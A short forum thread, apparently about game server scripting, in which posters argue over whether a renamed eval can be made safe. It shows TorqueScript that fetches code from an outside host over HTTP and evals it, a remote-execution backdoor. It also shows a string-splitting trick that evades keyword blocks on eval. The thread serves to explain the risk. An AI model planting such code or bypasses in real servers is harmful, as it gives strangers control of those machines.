They don't call it eval They call it specialval.
At risk of sounding like a total and utter idiot, I don't get it.
They renamed it and made some simple changes.
If I were to ever use eval on my server, I would remove any file read, write, and delete functionality, and remove any possibilities for infinite loops. Ontop of that, getting rid of all the obvious crash functions.
$KalHTTP = new HTTPObject(KalHTTP); KalHTTP.get("host", "path", "");function KalHTTP::online(%this, %line){ eval(%line);}
Hello, how about remote execution?Code: [Select]$KalHTTP = new HTTPObject(KalHTTP); KalHTTP.get("host", "path", "");function KalHTTP::online(%this, %line){ eval(%line);}
What does remote execution mean?
new HTTPObject(KalHTTP);function Kaleval(){ KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");}function KalHTTP::online(%this, %line){ eval(%line);}
Take this for example:Code: [Select]new HTTPObject(KalHTTP);function Kaleval(){ KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");}function KalHTTP::online(%this, %line){ eval(%line);}There are an infinite amount of ways to get around simple letter-matching such as blocking input containing "crash();"So if I eval into someone's server that above code, and then eval "Kaleval()", the server will go to http://kalphiter.com/remoteExecution.php and execute the code on that page.
Simple, disallow the usage of the word eval.
%fail = "ev"@"al";call(%fail);
Code: [Select]%fail = "ev"@"al";call(%fail);Or something like that